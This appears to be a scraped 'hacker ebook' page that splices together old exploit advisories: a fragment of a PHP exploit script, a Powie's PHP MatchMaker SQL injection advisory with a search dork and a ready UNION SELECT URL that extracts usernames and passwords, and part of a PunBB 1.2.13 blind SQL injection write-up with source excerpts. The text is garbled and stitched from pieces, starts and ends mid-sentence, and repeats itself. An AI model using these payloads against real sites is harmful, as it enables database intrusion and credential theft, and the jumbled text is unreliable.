Hacker Professional Ebook part 423 pot

2 Explanations This vulnerability is grounded on both a mistake in PunBB code with an unitialized variable, and PHP Zend_Hash_Del_Key_Or_Index vulnerability which allows to bypass the

}

else {

echo "exploit failed ";

}

?>

Black_hat_cr(HCE)

Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit

#=================================================

=============================================

#Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit

#=================================================

==============================================

#

#Critical Level : Dangerous

#

#Venedor site : http://www.powie.de

#

#Version : v4.05

#

#=================================================

==============================================

#

#DORK : "Powie's PSCRIPT MatchMaker 4.05"

#

#

#Exploit :

# -

#

#http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT

0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1

#

#=================================================

===============================================

#Discoverd By : SHiKaA

Black_hat_cr(HCE)

PunBB <= 1.2.13 Multiple Vulnerabilities

PHP Code:

[0] Application description

From punbb.org :

"PunBB is a fast and lightweight PHP powered discussion board

It is released under the GNU Public License Its primary goal

is to be a faster, smaller and less graphic alternative to

otherwise excellent discussion boards such as phpBB, Invision

Power Board or vBulletin PunBB has fewer features than many

other discussion boards, but is generally faster and outputs

smaller pages."

[i] SQL Injection Vulnerability

1) Overview

PunBB is prone to an SQL injection in the search module,

because of an unitialized variable which is undirectly passed

into an SQL query without any check Using this vulnerability,

a visitor can perform blind SQL injections, which can lead to

the content disclosure of any data stored in the database The

exploitation of this flaw uses the PHP Zend_Hash_Del_Key_Or_Index

vulnerability, and thus requires register_globals enabled and

PHP <= 4.4.2 or PHP <= 5.1.3 on the server where PunBB is

installed

2) Explanations

This vulnerability is grounded on both a mistake in PunBB code

with an unitialized variable, and PHP Zend_Hash_Del_Key_Or_Index

vulnerability which allows to bypass the globals deregistration

process that comes with PunBB First of all, have a look at the

unregister_globals() function in "include/functions.php" :

************************ BEGIN OF CODE ************************

function unregister_globals()

{

// Prevent script.php?GLOBALS[foo]=bar

if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS']))

exit('I\'ll have a steak sandwich and a steak

sandwich.');

// Variables that shouldn't be unset

$no_unset = array('GLOBALS', '_GET', '_POST', '_COOKIE',

'_REQUEST', '_SERVER', '_ENV', '_FILES');

// Remove elements in $GLOBALS that are present in any of the

// superglobals

$input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER,

$_ENV, $_FILES, isset($_SESSION) &&

is_array($_SESSION) ? $_SESSION : array());

foreach ($input as $k => $v)

{

if (!in_array($k, $no_unset) && isset($GLOBALS[$k]))

unset($GLOBALS[$k]);

}

}

************************* END OF CODE *************************

**

Using Zend_Hash_Del_Key_Or_Index vulnerability, it is possible

to bypass this globals deregistration process All the details

on this vulnerability - discovered by Stefan Esser - can be

found in this article :

http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerability.html

To sum up, as long as PHP meets the required configuration

for this vulnerability, an attacker is able to set any global

variable he wants in PunBB Now, have a look at the file

"search.php", at the following lines :

************************ BEGIN OF CODE ************************

$row = array();

while ($temp = $db->fetch_row($result))

{

$row[$temp[0]] = 1;

if (!$word_count)

$result_list[$temp[0]] = 1;

else if ($match_type == 'or')

$result_list[$temp[0]] = 1;

else if ($match_type == 'not')

$result_list[$temp[0]] = 0;

}

[ ]

@reset($result_list);

while (list($post_id, $matches) = @each($result_list))

{

if ($matches)

$keyword_results[] = $post_id;

}

[ ]

if ($author && $keywords)

{

// If we searched for both keywords and author name we want

// the intersection between the results

$search_ids = array_intersect($keyword_results,

$author_results);

unset($keyword_results, $author_results);

}

else if ($keywords)

$search_ids = $keyword_results;

else

$search_ids = $author_results;

[ ]

if ($show_as == 'topics')

{

$result = $db->query('SELECT t.id FROM '.$db->prefix.'posts

AS p INNER JOIN '.$db->prefix.'topics AS t ON

t.id=p.topic_id INNER JOIN '.$db->prefix.'forums AS f ON

f.id=t.forum_id LEFT JOIN '.$db->prefix.'forum_perms AS fp

ON (fp.forum_id=f.id AND fp.group_id='.$pun_user['g_id'].') WHERE (fp.read_forum IS NULL OR fp.read_forum=1) AND p.id IN('.implode(',',$search_ids).')'.$forum_sql.' GROUP BY

t.id', true) or error[ ]

$search_ids = array();

while ($row = $db->fetch_row($result))

$search_ids[] = $row[0];

$db->free_result($result);

$num_hits = count($search_ids);

}

************************* END OF CODE *************************

In this piece of code, the $result_list array is obviously not

initialized Using the Zend_Hash_Del_Key_Or_Index vulnerability,

we are thus able to populate this array with any possible